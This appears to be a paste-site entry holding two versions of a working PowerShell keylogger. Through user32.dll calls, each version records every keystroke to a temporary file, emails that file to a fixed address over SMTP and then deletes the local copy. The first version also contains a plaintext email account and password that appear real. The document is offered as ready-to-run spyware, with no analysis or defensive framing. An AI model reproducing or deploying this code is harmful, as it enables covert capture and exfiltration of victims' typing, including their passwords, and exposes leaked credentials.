· 6 years ago · Feb 25, 2020, 05:12 PM
1$TimesToRun = 2
2$RunTimeP = 1
3$From = "jmrsantos1985@mail.com"
4$Pass = "organizacao"
5$To = "USER2@mail.com"
6$Subject = "Keylogger Results"
7$body = "Keylogger Results"
8$SMTPServer = "smtp.mail.com"
9$SMTPPort = "587"
10$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
11############################
12
13
14$TimeStart = Get-Date
15$TimeEnd = $timeStart.addminutes($RunTimeP)
16
17#requires -Version 2
18function Start-KeyLogger($Path="$env:temp\keylogger.txt")
19{
20 # Signatures for API Calls
21 $signatures = @'
22[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
23public static extern short GetAsyncKeyState(int virtualKeyCode);
24[DllImport("user32.dll", CharSet=CharSet.Auto)]
25public static extern int GetKeyboardState(byte[] keystate);
26[DllImport("user32.dll", CharSet=CharSet.Auto)]
27public static extern int MapVirtualKey(uint uCode, int uMapType);
28[DllImport("user32.dll", CharSet=CharSet.Auto)]
29public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
30'@
31
32 # load signatures and make members available
33 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
34
35 # create output file
36 $null = New-Item -Path $Path -ItemType File -Force
37
38 try
39 {
40
41 # create endless loop. When user presses CTRL+C, finally-block
42 # executes and shows the collected key presses
43 $Runner = 0
44 while ($TimesToRun -ge $Runner) {
45 while ($TimeEnd -ge $TimeNow) {
46 Start-Sleep -Milliseconds 40
47
48 # scan all ASCII codes above 8
49 for ($ascii = 9; $ascii -le 254; $ascii++) {
50 # get current key state
51 $state = $API::GetAsyncKeyState($ascii)
52
53 # is key pressed?
54 if ($state -eq -32767) {
55 $null = [console]::CapsLock
56
57 # translate scan code to real code
58 $virtualKey = $API::MapVirtualKey($ascii, 3)
59
60 # get keyboard state for virtual keys
61 $kbstate = New-Object Byte[] 256
62 $checkkbstate = $API::GetKeyboardState($kbstate)
63
64 # prepare a StringBuilder to receive input key
65 $mychar = New-Object -TypeName System.Text.StringBuilder
66
67 # translate virtual key
68 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
69
70 if ($success)
71 {
72 # add key to logger file
73 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
74 }
75 }
76 }
77 $TimeNow = Get-Date
78 }
79 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
80 Remove-Item -Path $Path -force
81 }
82 }
83 finally
84 {
85 # open logger file in Notepad
86 exit 1
87 }
88}
89
90# records all key presses until script is aborted by pressing CTRL+C
91# will then open the file with collected key codes
92Start-KeyLogger
93
94 keystrokes.ps1
95# Edit only this section!
96$TimeToRun = 2
97$From = "USER1@mail.com"
98$Pass = "Pa$$w0rd"
99$To = "USER2@mail.com"
100$Subject = "Keylogger Results"
101$body = "Keylogger Results"
102$SMTPServer = "smtp.mail.com"
103$SMTPPort = "587"
104$credentials = new-object Management.Automation.PSCredential $From, ($Pass | ConvertTo-SecureString -AsPlainText -Force)
105############################
106
107
108$TimeStart = Get-Date
109$TimeEnd = $timeStart.addminutes($TimeToRun)
110
111#requires -Version 2
112function Start-KeyLogger($Path="$env:temp\keylogger.txt")
113{
114 # Signatures for API Calls
115 $signatures = @'
116[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
117public static extern short GetAsyncKeyState(int virtualKeyCode);
118[DllImport("user32.dll", CharSet=CharSet.Auto)]
119public static extern int GetKeyboardState(byte[] keystate);
120[DllImport("user32.dll", CharSet=CharSet.Auto)]
121public static extern int MapVirtualKey(uint uCode, int uMapType);
122[DllImport("user32.dll", CharSet=CharSet.Auto)]
123public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
124'@
125
126 # load signatures and make members available
127 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
128
129 # create output file
130 $null = New-Item -Path $Path -ItemType File -Force
131
132 try
133 {
134
135 # create endless loop. When user presses CTRL+C, finally-block
136 # executes and shows the collected key presses
137 while ($TimeEnd -ge $TimeNow) {
138 Start-Sleep -Milliseconds 40
139
140 # scan all ASCII codes above 8
141 for ($ascii = 9; $ascii -le 254; $ascii++) {
142 # get current key state
143 $state = $API::GetAsyncKeyState($ascii)
144
145 # is key pressed?
146 if ($state -eq -32767) {
147 $null = [console]::CapsLock
148
149 # translate scan code to real code
150 $virtualKey = $API::MapVirtualKey($ascii, 3)
151
152 # get keyboard state for virtual keys
153 $kbstate = New-Object Byte[] 256
154 $checkkbstate = $API::GetKeyboardState($kbstate)
155
156 # prepare a StringBuilder to receive input key
157 $mychar = New-Object -TypeName System.Text.StringBuilder
158
159 # translate virtual key
160 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
161
162 if ($success)
163 {
164 # add key to logger file
165 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
166 }
167 }
168 }
169 $TimeNow = Get-Date
170 }
171 }
172 finally
173 {
174 # open logger file in Notepad
175 send-mailmessage -from $from -to $to -subject $Subject -body $body -Attachment $Path -smtpServer $smtpServer -port $SMTPPort -credential $credentials -usessl
176 Remove-Item -Path $Path -force
177 exit 1
178 }
179}
180
181# records all key presses until script is aborted by pressing CTRL+C
182# will then open the file with collected key codes
183Start-KeyLogger